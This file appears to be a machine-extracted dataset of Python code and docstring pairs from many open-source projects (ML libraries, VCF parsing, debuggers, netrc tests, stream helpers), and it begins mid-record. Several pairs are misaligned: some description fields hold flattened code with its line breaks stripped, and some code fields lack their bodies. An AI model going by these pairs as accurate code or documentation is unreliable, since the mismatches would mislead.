reduction='sum')out = loss(pred, target, weight=None)assert isinstance(out, torch.Tensor)assert out.shape == torch.Size([])# -------------------- test unsupported loss reduction -------------------- #with pytest.raises(ValueError):loss_class(loss_weight=1.0, reduction='unknown')def test_weightedtvloss():Test loss: WeightedTVLoss"} {"code": "def make_divisible(v, divisor=8, min_value=1):\n if min_value is None:\n min_value = divisor\n new_v = max(min_value, int(v + divisor / 2) // divisor * divisor)\n if new_v < 0.9 * v:\n new_v += divisor\n return new_v", "nl": "forked from slim:https://github.com/tensorflow/models/blob/\\0344c5503ee55e24f0de7f37336a6e08f10976fd/\\research/slim/nets/mobilenet/mobilenet.py#L62-L69"} {"code": "def width_from_endpoints(g1, g2):\n\n Parameters\n ---------\n g1 : :obj:`numpy.ndarray`\n location of the first jaw\n g2 : :obj:`numpy.ndarray`\n location of the second jaw\n width : float\n maximum opening width of jaws\n approach_angle : float\n approach angle of grasp\n close_width : float\n width of gripper when fully closed\n \"\"\"", "nl": " Width of grasp from endpoints grasp_axis = g2 - g1return np.linalg.norm(grasp_axis)@staticmethoddef grasp_from_endpoints(g1, g2, width=None, approach_angle=0, close_width=0): Create a grasp from given endpoints in 3D space, making the axis the line between the points."} {"code": "def help_help(self):\n\n", "nl": "_print(help <cmd>Print help for command <cmd>.On the other hand I guess that you already know that, don't you?, self.m_stdout)"} {"code": "def update_rc(key_str: str, value: Any) -> NoReturn:\n plt.rcParams.update({key_str: value})", "nl": "Update matplotlibrc parameters.Args:key_str: string for a matplotlibrc parameter.value: associated value to set the matplotlibrc parameter."} {"code": "def describe_splits(cfName, start_token, end_token, keys_per_split):\n pass\n", "nl": "experimental API for hadoop/parallel query support.may change violently and without warning.returns list of token strings such that first subrange is (list[0], list[1]],next is (list[1], list[2]], etc.Parameters:- cfName- start_token- end_token- keys_per_split"} {"code": "def remove(self, child_subpath_index):\n if isinstance(child_subpath_index, FileSystemItem):\n child = child_subpath_index\n i = bisect.bisect_left(self.children, child)\n if i < len(self.children) and self.children[i] == child:\n del self.children[i]\n\n elif isinstance(child_subpath_index, str):\n subpath = child_subpath_index\n i = bisect.bisect_left(self.children, subpath)\n if i < len(self.children) and self.children[i].subpath == subpath:\n del self.children[i]\n\n elif isinstance(child_subpath_index, int):\n i = child_subpath_index\n del self.children[i]\n\n else:\n raise TypeError(\n \"First argument passed to `{}.remove` has invalid type {}\".\n format(\n type(self).__name__,\n type(child_subpath_index).__name__))\n", "nl": "Remove the given children.The index or child to remove must be in the listelse an error will be raised.Parameters----------child_or_index : FileSystemItem or intThe instance to remove or its index in `children`.Raises------ValueErrorThe given item is not a child of this one.IndexErrorThe given index is not a valid one."} {"code": "def render(self, name: str, args: List[Any]) -> None:\n\n template_files = renderer.get_template_files()\n static_files = renderer.get_static_files()\n\n\n for filename in template_files:\n renderer.render_from_file(filename, context=context)\n for filename in static_files:\n renderer.copy_static_file(filename, context=context)\n renderer.print_summary()", "nl": "Renders the schematiccontext = vars(self.arg_parser.parse_args(args))if \"name\" in context:raise ValueError(\"Collision between Flaskerize-reserved parameter \"\"'name' and parameter found in schema.json corresponding \"f\"to {self.schematic_path}\")context = {**context, \"name\": name}self._load_custom_functions(path=os.path.join(self.schematic_path, \"custom_functions.py\"))try:run = self._load_run_function(path=os.path.join(self.schematic_path, \"run.py\"))except (ImportError, ValueError, FileNotFoundError) as e:run = default_runrun(renderer=self, context=context)self.fs.commit()def default_run(renderer: SchematicRenderer, context: Dict[str, Any]) -> None:Default run method"} {"code": "def v3(self, ctx, prev_hidden_state, states=None):\n ctx = ctx.unsqueeze(1)\n hidden_state, states = self.lstm(ctx, states)\n topic = self.W_topic(self.tanh(self.W_t_h(hidden_state) + self.W_t_ctx(ctx)))\n p_stop = self.W_stop(self.tanh(self.W_stop_s_1(prev_hidden_state) + self.W_stop_s(hidden_state)))\n return topic, p_stop, hidden_state, states\n\n\nclass WordLSTM(nn.Module):", "nl": "v3:rtype: object"} {"code": "def connection_checked_out(self, event: \"ConnectionCheckedOutEvent\") -> None:\n raise NotImplementedError\n", "nl": "Abstract method to handle a :class:`ConnectionCheckedOutEvent`.Emitted when the driver successfully checks out a Connection.:Parameters:- `event`: An instance of :class:`ConnectionCheckedOutEvent`."} {"code": "def load_dataset(self, split, **kwargs):\n\n manifest = os.path.join(self.args.data, '{}.tsv'.format(split))\n self.datasets[split] = FileAudioDataset(manifest,\n sample_rate=self.args.sample_rate,\n max_sample_size=self.args.max_sample_size,\n min_sample_size=self.args.min_sample_size)\n\n @property", "nl": "Load a given dataset split.Args:split (str): name of the split (e.g., train, valid, test)"} {"code": "def retrieve_all(self, sids, default_none=False):\n hits, missing, failures = {}, set(), []\n for sid in sids:\n try:\n asset = self._asset_cache[sid]", "nl": "Retrieve all assets in `sids`.Parameters----------sids : iterable of intAssets to retrieve.default_none : boolIf True, return None for failed lookups.If False, raise `SidsNotFound`.Returns-------assets : list[Asset or None]A list of the same length as `sids` containing Assets (or Nones)corresponding to the requested sids.Raises------SidsNotFoundWhen a requested sid is not found and default_none=False."} {"code": "def get_gallery_modal():\n\n\nclass AdminImageField(forms.ImageField):\n", "nl": "return <!-- modal-gallery is the modal dialog used for the image gallery --><div id=\"modal-gallery\" class=\"modal modal-gallery fade\" tabindex=\"-1\"><div class=\"modal-dialog\"><div class=\"modal-content\"><div class=\"modal-header\"><button type=\"button\" class=\"close\" data-dismiss=\"modal\" aria-hidden=\"true\">×</button><h4 class=\"modal-title\"></h4></div><div class=\"modal-body\"><div class=\"modal-image\"><h1 class=\"loader\"><i class=\"fa-spinner fa-spin fa fa-large loader\"></i></h1></div></div><div class=\"modal-footer\"><a class=\"btn btn-info modal-prev\"><i class=\"fa fa-arrow-left\"></i> <span>%s</span></a><a class=\"btn btn-primary modal-next\"><span>%s</span> <i class=\"fa fa-arrow-right\"></i></a><a class=\"btn btn-success modal-play modal-slideshow\" data-slideshow=\"5000\"><i class=\"fa fa-play\"></i> <span>%s</span></a><a class=\"btn btn-default modal-download\" target=\"_blank\"><i class=\"fa fa-download\"></i> <span>%s</span></a></div></div><!-- /.modal-content --></div><!-- /.modal-dialog --></div> % (_('Previous'), _('Next'), _('Slideshow'), _('Download'))"} {"code": "default login log2 password pass2", "nl": ")self.assertEqual(nrc.hosts['host1.domain.com'],('log1', 'acct1', 'pass1'))self.assertEqual(nrc.hosts['default'], ('log2', None, 'pass2'))def test_macros(self):nrc = self.make_nrc(\\"} {"code": "def get_dependencies(self, item):", "nl": "Performs a dependency check on the given item.:param item: Node to start the dependency check with.:return: The result on merged dependencies down the hierarchy."} {"code": "def del_temp_breakpoint(self, fLock = True, breakpoint = None):\n if self.m_temp_bp is None:\n return\n\n try:\n if fLock:\n self.m_lock.acquire()\n\n if self.m_temp_bp is None:\n return\n\n if self.m_fhard_tbp and not breakpoint is self.m_temp_bp:\n return\n\n bp = self.m_temp_bp\n self.m_temp_bp = None\n self.m_fhard_tbp = False\n\n self.__remove_from_function_list(bp)\n self.__calc_active_break_points_by_file(bp.m_filename)\n\n finally:\n if fLock:\n self.m_lock.release()\n\n", "nl": "Delete a temoporary breakpoint.A temporary breakpoint is used when the debugger is asked torun-to a particular line.Hard temporary breakpoints are deleted only when actually hit."} {"code": "def get_version(package):\n with open(f\"src/{package}/__init__.py\") as f:\n return re.search(\n \"__version__ = ['\\\"]([^'\\\"]+)['\\\"]\", f.read()\n ).group(1)\n\n", "nl": "Return package version as listed in `__version__` in `init.py`."} {"code": "def sanitize_special_tokens(self) -> int:\n return self.add_tokens(self.all_special_tokens_extended, special_tokens=True)\n", "nl": "Make sure that all the special tokens attributes of the tokenizer (:obj:`tokenizer.mask_token`,:obj:`tokenizer.cls_token`, etc.) are in the vocabulary.Add the missing ones to the vocabulary if needed.Return::obj:`int`: The number of tokens added in the vocabulary during the operation."} {"code": "def clean_title_input(title, draft=False):\n title_clean = title.lower()\n title_clean = re.sub(r'[^\\w -]', '', title_clean)\n title_clean = re.sub(r' |_', '-', title_clean)\n\n today = datetime.today()\n title_date = today.strftime('%Y-%m-%d')\n\n return title_date + '-' + title_clean if not draft else title_clean\n\n", "nl": "Convert a string into a valide Jekyll filename.Remove non-word characters, replace spaces and underscores with dashes,and add a date stamp if the file is marked as a Post, not a Draft.Args:title (string): A string based titledraft (bool): A boolean indicating that the file is a draftReturns:string: a cleaned title for saving a new Jekyll post file"} {"code": "def plot_kaplanmeier(outcomes, groups=None, plot_counts=False, **kwargs):\n\n if groups is None:\n groups = np.array([1]*len(outcomes))\n\n curves = {}\n\n from matplotlib import pyplot as plt\n\n ax = plt.subplot(111)\n\n for group in sorted(set(groups)):\n if pd.isna(group): continue\n\n curves[group] = KaplanMeierFitter().fit(outcomes[groups==group]['time'],\n outcomes[groups==group]['event'])\n ax = curves[group].plot(label=group, ax=ax, **kwargs)\n\n if plot_counts:\n add_at_risk_counts(iter([curves[group] for group in curves]), ax=ax)\n\n return ax\n\n", "nl": "Plot a Kaplan-Meier Survival Estimator stratified by groups.Parameters----------outcomes: pandas.DataFramea pandas dataframe containing the survival outcomes. The index of thedataframe should be the same as the index of the features dataframe.Should contain a column named 'time' that contains the survival time anda column named 'event' that contains the censoring status.\\( \\delta_i = 1 \\) if the event is observed.groups: pandas.Seriesa pandas series containing the groups to stratify the Kaplan-Meierestimates by.plot_counts: boolif True, plot the number of at risk and censored individuals in each group."} {"code": "def test_scrapy_dependencies_on_providers(scrapy_class, settings):\n\n @attr.s(auto_attribs=True)\n class Page(ItemWebPage):\n\n scrapy_obj: scrapy_class\n", "nl": "Scrapy dependencies should be injected into Providers.@attr.s(auto_attribs=True)class PageData:scrapy_class: strclass PageDataProvider(PageObjectInputProvider):provided_classes = {PageData}def __call__(self, to_provide, obj: scrapy_class):return [PageData(scrapy_class=scrapy_class.__name__)]@attr.s(auto_attribs=True)class Page(ItemWebPage):page_data: PageDatadef to_item(self):return {\"scrapy_class\": self.page_data.scrapy_class,}class MySpider(Spider):name = \"my_spider\"url = Nonecustom_settings = {\"SCRAPY_POET_PROVIDERS\": {HttpResponseProvider: 1,PageDataProvider: 2,}}def start_requests(self):yield Request(url=self.url, callback=self.parse)def parse(self, response, page: Page):return page.to_item()item, url, crawler = yield crawl_single_item(MySpider, ProductHtml, settings)assert item[\"scrapy_class\"] == scrapy_class.__name__@inlineCallbacks@pytest.mark.parametrize(\"scrapy_class\", SCRAPY_PROVIDED_CLASSES)def test_scrapy_dependencies_on_page_objects(scrapy_class, settings):Scrapy dependencies should not be injected into Page Objects."} {"code": "default=1, type=int,\n args.add_argument(\"--no_DINL\",", "nl": "help=Amount of top performing checkpoints to keep.)# Ablation Optionsargs.add_argument('--arch_depth',default=6, type=int,help=Depth of the architecture (number of levels))"} {"code": "def __rsub__(self, other):\n if isinstance(other, basestring):\n other = self._literalStringClass(other)\n if not isinstance(other, ParserElement):\n warnings.warn(\"Cannot combine element of type %s with ParserElement\" % type(other),\n SyntaxWarning, stacklevel=2)\n return None\n return other - self\n", "nl": "Implementation of - operator when left operand is not a :class:`ParserElement`"} {"code": "def _using_stdout(self):\n if WINDOWS and colorama:\n return self.stream.wrapped is sys.stdout\n\n return self.stream is sys.stdout\n", "nl": "Return whether the handler is using sys.stdout."} {"code": "def test_train(self):", "nl": "Test training.config = default.get_config()config.per_device_batch_size = 1config.num_train_steps = 1config.num_eval_steps = 1config.num_predict_steps = 1config.num_decoder_layers = 1config.num_encoder_layers = 1config.qkv_dim = 32config.emb_dim = 32config.mlp_dim = 128config.num_heads = 2config.max_input_length = 32config.max_target_length = 32config.tokenizer_mode = 'sp_tokenizer'config.tokenizer_type = 'sentencepiece'config.tokenizer_path = 'third_party/tensorflow_text/python/ops/test_data/test_oss_model.model'workdir = tempfile.mkdtemp()with tfds.testing.mock_data(num_examples=128):train.train_and_evaluate(config, workdir)logging.info('workdir content: %s', tf.io.gfile.listdir(workdir))def test_eval(self):Test decoding."} {"code": "def p_import_from_dots1(self, p):\n p[0] = p[1] + [p[2]]\n", "nl": " import_from_dots : DOT p[0] = [p[1]]def p_import_from_dots2(self, p): import_from_dots : import_from_dots DOT "} {"code": "def hbar(self):\n return self._hbar\n\n @property", "nl": "rReturns the value of :math:`\\hbar` used in the generation of the state.The value of :math:`\\hbar` is a convention chosen in the definition of:math:`\\x` and :math:`\\p`. See :ref:`opcon` for more details.Returns:float: :math:`\\hbar` value."} {"code": "def quantize_weight_rounded(input_node):\n base_name = input_node.name + \"_\"\n quint8_const_name = base_name + \"quint8_const\"\n min_name = base_name + \"min\"\n max_name = base_name + \"max\"\n float_tensor = tensor_util.MakeNdarray(input_node.attr[\"value\"].tensor)\n min_value = np.min(float_tensor.flatten())\n max_value = np.max(float_tensor.flatten())\n if min_value > 0.0:\n min_value = 0.0\n if min_value == max_value:\n if abs(min_value) < 0.000001:\n max_value = min_value + 1.0\n elif min_value > 0:\n max_value = 2 * min_value\n else:\n max_value = min_value / 2.0\n\n sess = session.Session()", "nl": "Returns a replacement node for input_node containing bucketed floats.input_tensor = input_node.attr[\"value\"].tensortensor_value = tensor_util.MakeNdarray(input_tensor)shape = input_tensor.tensor_shape# Currently, the parameter FLAGS.bitdepth is used to compute the# number of buckets as 1 << FLAGS.bitdepth, meaning the number of# buckets can only be a power of 2.# This could be fixed by introducing a new parameter, num_buckets,# which would allow for more flexibility in chosing the right model# size/accuracy tradeoff. But I didn't want to add more parameters# to this script than absolutely necessary.num_buckets = 1 << FLAGS.bitdepthtensor_value_rounded = quantize_array(tensor_value, num_buckets)tensor_shape_list = tensor_util.TensorShapeProtoToList(shape)return [create_constant_node(input_node.name,tensor_value_rounded,dtypes.float32,shape=tensor_shape_list)]def quantize_weight_eightbit(input_node, quantization_mode):Returns replacement nodes for input_node using the Dequantize op."} {"code": "def fetch(self, chrom, start, end=None):\n if not pysam:\n raise Exception('pysam not available, try \"pip install pysam\"?')\n\n if not self.filename:\n raise Exception('Please provide a filename (or a \"normal\" fsock)')\n\n if not self._tabix:\n self._tabix = pysam.Tabixfile(self.filename)\n\n if self._prepend_chr and chrom[:3] == 'chr':\n chrom = chrom[3:]\n\n start = start - 1\n\n if end is None:\n self.reader = self._tabix.fetch(chrom, start, start + 1)\n try:\n return self.next()\n except StopIteration:\n return None\n\n self.reader = self._tabix.fetch(chrom, start, end)\n return self\n\n\nclass Writer(object):\n \"\"\" VCF Writer \"\"\"", "nl": " fetch records from a Tabix indexed VCF, requires pysamif start and end are specified, return iterator over positionsif end not specified, return individual ``_Call`` at start or None"} {"code": "def address(self) -> str:\n pattern: str = self.random_element(self.address_formats)\n return self.generator.parse(pattern)\n", "nl": ":example: '791 Crist Parks, Sashabury, IL 86039-9874'"} {"code": "def covered_functions(self) -> Set[Callable]:\n Return a set (function, lineno) with locations covered.\n To be overloaded in subclasses.\n \"\"\"", "nl": "Set of covered functions. To be overloaded in subclasses.return set()def coverage(self) -> Coverage:"} {"code": "def test_endian(self):\n if self.arch == 'ia64':\n prctl.set_fpemu(prctl.FPEMU_SIGFPE)\n self.assertEqual(prctl.get_fpemu(), prctl.FPEMU_SIGFPE)\n prctl.set_fpemu(prctl.FPEMU_NOPRINT)\n self.assertEqual(prctl.get_fpemu(), prctl.FPEMU_NOPRINT)\n self.assertRaises(ValueError, prctl.set_fpexc, 999)\n else:\n self.assertRaises(OSError, prctl.get_fpemu)\n self.assertRaises(OSError, prctl.set_fpemu, prctl.FPEMU_SIGFPE)\n", "nl": "Test manipulation of the endianness settingif self.arch == 'powerpc':# FIXME untestedprctl.set_endian(prctl.ENDIAN_BIG)self.assertEqual(prctl.get_endian(), prctl.ENDIAN_BIG)prctl.set_endian(prctl.ENDIAN_LITTLE)self.assertEqual(prctl.get_endian(), prctl.ENDIAN_LITTLE)self.assertRaises(ValueError, prctl.set_endian, 999)else:self.assertRaises(OSError, prctl.get_endian)self.assertRaises(OSError, prctl.set_endian)def test_fpemu(self):Test manipulation of the fpemu setting"} {"code": "def get(cls, name, default=None):\n\n out = {}\n\n for att_name in dir(cls):\n if att_name.isupper():\n out[att_name] = getattr(cls, att_name)\n\n return out\n\n @classmethod", "nl": "Emulate get method from dictif hasattr(cls, name):return getattr(cls, name)else:return default@classmethoddef to_dict(cls):Return dict of all uppercase attributes"} {"code": "def _stream_is_misconfigured(stream):\n on Python 3.\n \"\"\"", "nl": "A stream is misconfigured if it's encoding is ASCII.return is_ascii_encoding(getattr(stream, 'encoding', None))def _wrap_stream_for_text(stream, encoding, errors):if errors is None:errors = 'replace'if encoding is None:encoding = get_std_stream_encoding()return _NonClosingTextIOWrapper(_FixupStream(stream), encoding, errors)def _is_compatible_text_stream(stream, encoding, errors):stream_encoding = getattr(stream, 'encoding', None)stream_errors = getattr(stream, 'errors', None)# Perfect match.if stream_encoding == encoding and stream_errors == errors:return True# Otherwise it's only a compatible stream if we did not ask for# an encoding.if encoding is None:return stream_encoding is not Nonereturn Falsedef _force_correct_text_reader(text_reader, encoding, errors):if _is_binary_reader(text_reader, False):binary_reader = text_readerelse:# If there is no target encoding set we need to verify that the# reader is actually not misconfigured.if encoding is None and not _stream_is_misconfigured(text_reader):return text_readerif _is_compatible_text_stream(text_reader, encoding, errors):return text_reader# If the reader has no encoding we try to find the underlying# binary reader for it. If that fails because the environment is# misconfigured, we silently go with the same reader because this# is too common to happen. In that case mojibake is better than# exceptions.binary_reader = _find_binary_reader(text_reader)if binary_reader is None:return text_reader# At this point we default the errors to replace instead of strict# because nobody handles those errors anyways and at this point# we're so fundamentally fucked that nothing can repair it.if errors is None:errors = 'replace'return _wrap_stream_for_text(binary_reader, encoding, errors)def _force_correct_text_writer(text_writer, encoding, errors):if _is_binary_writer(text_writer, False):binary_writer = text_writerelse:# If there is no target encoding set we need to verify that the# writer is actually not misconfigured.if encoding is None and not _stream_is_misconfigured(text_writer):return text_writerif _is_compatible_text_stream(text_writer, encoding, errors):return text_writer# If the writer has no encoding we try to find the underlying# binary writer for it. If that fails because the environment is# misconfigured, we silently go with the same writer because this# is too common to happen. In that case mojibake is better than# exceptions.binary_writer = _find_binary_writer(text_writer)if binary_writer is None:return text_writer# At this point we default the errors to replace instead of strict# because nobody handles those errors anyways and at this point# we're so fundamentally fucked that nothing can repair it.if errors is None:errors = 'replace'return _wrap_stream_for_text(binary_writer, encoding, errors)def get_binary_stdin():reader = _find_binary_reader(sys.stdin)if reader is None:raise BrokenEnvironment('Was not able to determine binary ''stream for sys.stdin.')return readerdef get_binary_stdout():writer = _find_binary_writer(sys.stdout)if writer is None:raise BrokenEnvironment('Was not able to determine binary ''stream for sys.stdout.')return writerdef get_binary_stderr():writer = _find_binary_writer(sys.stderr)if writer is None:raise BrokenEnvironment('Was not able to determine binary ''stream for sys.stderr.')return writerdef get_text_stdin(encoding=None, errors=None):return _force_correct_text_reader(sys.stdin, encoding, errors)def get_text_stdout(encoding=None, errors=None):return _force_correct_text_writer(sys.stdout, encoding, errors)def get_text_stderr(encoding=None, errors=None):return _force_correct_text_writer(sys.stderr, encoding, errors)def get_binary_argv():fs_enc = sys.getfilesystemencoding()return [x.encode(fs_enc, 'surrogateescape') for x in sys.argv]binary_env = os.environb@contextlib.contextmanagerdef wrap_standard_stream(stream_type, stream):old_stream = getattr(sys, stream_type, None)if stream_type == 'stdin':if _is_binary_reader(stream):raise TypeError('Standard input stream cannot be set to a ''binary reader directly.')if _find_binary_reader(stream) is None:raise TypeError('Standard input stream needs to be backed ''by a binary stream.')elif stream_type in ('stdout', 'stderr'):if _is_binary_writer(stream):raise TypeError('Standard output stream cannot be set to a ''binary writer directly.')if _find_binary_writer(stream) is None:raise TypeError('Standard output and error streams need ''to be backed by a binary streams.')else:raise TypeError('Invalid stream %s' % stream_type)setattr(sys, stream_type, stream)try:yield old_streamfinally:setattr(sys, stream_type, old_stream)class _CapturedStream(object):A helper that flushes before getvalue() to fix a few oddities"} {"code": "def onDown(self, event):\n SELECT COUNT(*)\n FROM StationItem\n WHERE station_id = ?\n \"\"\", [station.ID])\n SELECT item.item_id,\n IFNULL(MIN(demand_price), 0),\n IFNULL(AVG(demand_price), 0),\n IFNULL(MAX(demand_price), 0)\n FROM Item\n LEFT OUTER JOIN StationItem AS si\n ON (\n item.item_id = si.item_id\n AND si.demand_price > 0\n )\n GROUP BY 1\n \"\"\")\n SELECT item.item_id,\n IFNULL(MIN(supply_price), 0),\n IFNULL(AVG(supply_price), 0),\n IFNULL(MAX(supply_price), 0)\n FROM Item\n LEFT OUTER JOIN StationItem AS si\n ON (\n item.item_id = si.item_id\n AND si.supply_price > 0\n )\n GROUP BY 1\n \"\"\")", "nl": " Handle the user pressing down, go down a row widget = event.widgetif not self.validate(widget):return \"break\"# can we go up a line?newDisplayNo = widget.item.displayNo + 1if newDisplayNo >= len(self.itemDisplays):self.parent.bell()return \"break\"self.focusOn(newDisplayNo, widget.pos)def endRow(self):self.rowNo += 1self.colNo = 0def addWidget(self, widget, **kwargs):widget.grid(row=self.rowNo, column=self.colNo, **kwargs)self.colNo += 1return widgetdef addLabel(self, text):lab = tk.Label(self.interior, text=text)return self.addWidget(lab, sticky='W', padx=16)def addSection(self, text):widget = tk.Label(self.interior, text=text, fg='blue')widget.grid(row=self.rowNo, column=0, columnspan=5, sticky='W')self.endRow()return widgetdef addInput(self, item, defValue, row):pos = len(row)inputVal = tk.StringVar()inputVal.set(str(defValue))inputEl = tk.Entry(self.interior,width=10,justify=tk.RIGHT,textvariable=inputVal)inputEl.item = iteminputEl.row = rowinputEl.pos = posinputEl.val = inputValinputEl.bind('<Shift-Key-Tab>', self.onShiftTab)inputEl.bind('<Key-Tab>', self.onTab)inputEl.bind('<Key-Return>', self.onReturn)inputEl.bind('<Key-Down>', self.onDown)inputEl.bind('<Key-Up>', self.onUp)inputEl.bind('<FocusOut>', lambda evt: self.validateRow(evt.widget.row))self.addWidget(inputEl, sticky='E')row.append((inputEl, inputVal))def addHeadings(self):def addHeading(text):self.headings.append(text)lab = tk.Label(self.interior, text=text, fg='blue')self.addWidget(lab, sticky='W', padx=16)addHeading(\"Item\")addHeading(\"Paying\")addHeading(\"Asking\")addHeading(\"Demand\")addHeading(\"Supply\")addHeading(\"AvgPay\")addHeading(\"AvgAsk\")self.endRow()def addItemRow(self, ID, catID, itemName, paying, asking, demand, supply):row = []displayNo = len(self.itemDisplays)item = Item(ID, catID, itemName, displayNo)self.items[itemName] = itemself.itemList.append(item)demandStats = self.demandStats[item.ID]supplyStats = self.supplyStats[item.ID]self.addLabel(item.name.upper())self.addInput(item, paying, row)self.addInput(item, asking, row)self.addInput(item, demand, row)self.addInput(item, supply, row)self.addLabel(demandStats[1])self.addLabel(supplyStats[1])self.itemDisplays.append(row)self.endRow()def createWidgets(self):self.addHeadings()tdb, tdenv = self.tdb, self.tdenvstation = tdenv.startStationself.parent.title(station.name())db = tdb.getDB()db.row_factory = sqlite3.Rowcur = db.cursor()self.categories = self.tdb.categoryByID# Do we have entries for this station?cur.execute("} {"code": "def download(self, remotefilename, filename):\n return self.inner_cmd(\"download %s %s\" % (remotefilename, filename))\n", "nl": "download - download a file to the local machineDownload file \"remotefilename\" and save it as \"filename\" on the localmachine."} {"code": "def _ensure_directory(path):\n \"\"\"", "nl": "Ensure that the parent directory of `path` existsdirname = os.path.dirname(path)if not os.path.isdir(dirname):os.makedirs(dirname)def _unpack_zipfile(filename, extract_dir):Unpack zip `filename` to `extract_dir`"} {"code": "def _TestDatasetFn(begin=0, end=10):\n ds = tf.data.Dataset.from_tensor_slices(tf.range(begin, end))\n return ds.map(lambda x: {'value': x})\n\n", "nl": "Test tf.data pipeline.ds = tf.data.Dataset.from_tensor_slices(tf.range(begin, end))return ds.map(lambda x: {'value': x})def _TestDatasetFnWithoutDefault(begin, end=10):Test tf.data pipeline with non-defaulted parameters."} {"code": "def construct(self, hidden_states, attention_mask):\n Multi-layer bert transformer.\n\n Args:\n hidden_size (int): Size of the encoder layers.\n seq_length (int): Length of input sequence.\n num_hidden_layers (int): Number of hidden layers in encoder cells.\n num_attention_heads (int): Number of attention heads in encoder cells. Default: 12.\n intermediate_size (int): Size of intermediate layer in encoder cells. Default: 3072.\n attention_probs_dropout_prob (float): The dropout probability for\n BertAttention. Default: 0.1.\n use_one_hot_embeddings (bool): Specifies whether to use one hot encoding form. Default: False.\n initializer_range (float): Initialization value of TruncatedNormal. Default: 0.02.\n hidden_dropout_prob (float): The dropout probability for BertOutput. Default: 0.1.\n use_relative_positions (bool): Specifies whether to use relative positions. Default: False.\n hidden_act (str): Activation function used in the encoder cells. Default: \"gelu\".\n compute_type (:class:`mindspore.dtype`): Compute type in BertTransformer. Default: mstype.float32.\n return_all_encoders (bool): Specifies whether to return all encoders. Default: False.\n \"\"\"", "nl": "bert encoder cell# self-attentionattention_output, attention_scores = self.attention(hidden_states, attention_mask)# feed constructintermediate_output = self.intermediate(attention_output)# add and normalizeoutput = self.output(intermediate_output, attention_output)return output, attention_scoresclass BertTransformer(nn.Cell):"} {"code": "def reset(self, reset_game=True, randomize_team_order=True):\n if randomize_team_order:\n r = random.randint(0, 1)\n self.agents[0].set_team(r)\n self.agents[1].set_team((r + 1) % 2)\n\n self.action_sequences = {}\n\n if reset_game:\n self.game.reset()\n self.action_buffer = []\n self.accumulated_stats = dict( {Constants.TEAM.A: {}, Constants.TEAM.B: {}} )\n\n for agent in self.agents:\n agent.game_start(self.game)\n", "nl": ":return:"} {"code": "def configuration(self):\n return self._configuration\n\n @property", "nl": " Returns the configuration settings for this command."} {"code": "def predict(self, X):\n\n check_is_fitted(self, \"estimators_features_\")\n X = check_array(X, accept_sparse=['csr', 'csc'])\n\n from sklearn.ensemble.base import _partition_estimators\n n_jobs, n_estimators, starts = _partition_estimators(self.n_estimators,\n self.n_jobs)\n", "nl": " Predict regression target for X.The predicted regression target of an input sample is computed as theaveraged predicted distributions of the estimators in the ensemble.Parameters----------X : {array-like, sparse matrix} of shape = [n_samples, n_features]The training input samples. Sparse matrices are accepted only ifthey are supported by the base estimator.Returns-------y : skpro.base.Distribution = [n_samples]The predicted bagged distributions."} {"code": "def test_multiple_imports(self):\n self.check(b, a)\n", "nl": "b = import urlparse, cStringIOa = import urllib.parse, io"} {"code": "def on_setup_done(self, api: APIData, player: PlayerData) -> None:\n\n self.layout.removeWidget(self.setup_widget)\n self.setup_widget.setParent(None)\n self.setup_widget.hide()\n del self.setup_widget\n\n self.config.api = api.id\n self.config.player = player.id\n\n self.initialize_api(api)\n logging.info(\"Using %s as the API\", api.id)\n\n self.player = initialize_player(player, self.config)\n logging.info(\"Using %s as the player\", player.id)\n", "nl": "Method called when the API and Player are selected with APISelection."} {"code": "def flatten_sequence(iterable):\n for elm in iter(iterable):\n if hasattr(elm, '__iter__'):\n for f in flatten_sequence(elm):\n yield f\n else:\n yield elm\n\n a = np.asanyarray(a)\n inishape = a.shape\n a = a.ravel()\n if isinstance(a, MaskedArray):\n out = np.array([tuple(flatten_sequence(d.item())) for d in a._data])\n out = out.view(MaskedArray)\n out._mask = np.array([tuple(flatten_sequence(d.item()))\n for d in getmaskarray(a)])\n else:\n out = np.array([tuple(flatten_sequence(d.item())) for d in a])\n if len(inishape) > 1:\n newshape = list(out.shape)\n newshape[0] = inishape\n out.shape = tuple(flatten_sequence(newshape))\n return out\n\n\nclass _arraymethod(object):\n \"\"\"\n", "nl": "Flattens a compound of nested iterables."} {"code": "def load_data_split(proc_data_dir):\n ds_train = Dataset.load(path.join(proc_data_dir, 'train.bin'))\n ds_val = Dataset.load(path.join(proc_data_dir, 'val.bin'))\n ds_test = Dataset.load(path.join(proc_data_dir, 'test.bin'))\n return ds_train, ds_val, ds_test", "nl": "Loads a split datasetArgs:proc_data_dir: Directory with the split and processed dataReturns:(Training Data, Validation Data, Test Data)"} {"code": "def remove(self, directive, source, quote=False):\n parts = []\n\n for directive, sources in sorted(self.directives.items()):\n parts.append(' '.join([directive] + sources) + ';')\n\n return ' '.join(parts)\n\n", "nl": "Remove a source for a given directive.if quote:source = f'\\'{source}\\''assert source in self.directives[directive], (f'Removing nonexistent \"{source}\" for directive \"{directive}\"')self.directives[directive].remove(source)def __str__(self):Convert to a string to send with a Content-Security-Policy header."} {"code": "def __init__(self, options={}):\n @param pids: list of pids.\n \"\"\"", "nl": "@param options: options dict.self.options = optionsself.pids = []def set_pids(self, pids):Update list of monitored PIDs in the package context."} {"code": "def __init__(self, entity_id, attributes):\n super(EthernetPMMonitoringHistoryDataFrame, self).__init__(\n EthernetPMMonitoringHistoryData,\n entity_id,\n MEFrame._attr_to_data(attributes))\n\n\nclass FecPerformanceMonitoringHistoryDataFrame(MEFrame):\n \"\"\"", "nl": ":param entity_id: (int) This attribute uniquely identifies each instance ofthis managed entity. Through an identical ID, thismanaged entity is implicitly linked to an instanceof the physical path termination point Ethernet UNI:param attributes: (basestring, list, set, dict) attributes. For getsa string, list, or set can be provided. For setoperations, a dictionary should be provided, fordeletes None may be specified."} {"code": "def rollback_checkpoints(self, rollback=1):\n try:\n self.reverter.rollback_checkpoints(rollback)\n except errors.ReverterError as err:\n raise errors.PluginError(str(err))\n\n @property", "nl": "Rollback saved checkpoints.:param int rollback: Number of checkpoints to revert:raises .errors.PluginError: If there is a problem with the input orthe function is unable to correctly revert the configuration"} {"code": "def do_slice(value, slices, fill_with=None):\n seq = list(value)\n length = len(seq)\n items_per_slice = length // slices\n slices_with_extra = length % slices\n offset = 0\n for slice_number in xrange(slices):\n start = offset + slice_number * items_per_slice\n if slice_number < slices_with_extra:\n offset += 1\n end = offset + (slice_number + 1) * items_per_slice\n tmp = seq[start:end]\n if fill_with is not None and slice_number >= slices_with_extra:\n tmp.append(fill_with)\n yield tmp\n\n", "nl": "Slice an iterator and return a list of lists containingthose items. Useful if you want to create a div containingthree ul tags that represent columns:.. sourcecode:: html+jinja<div 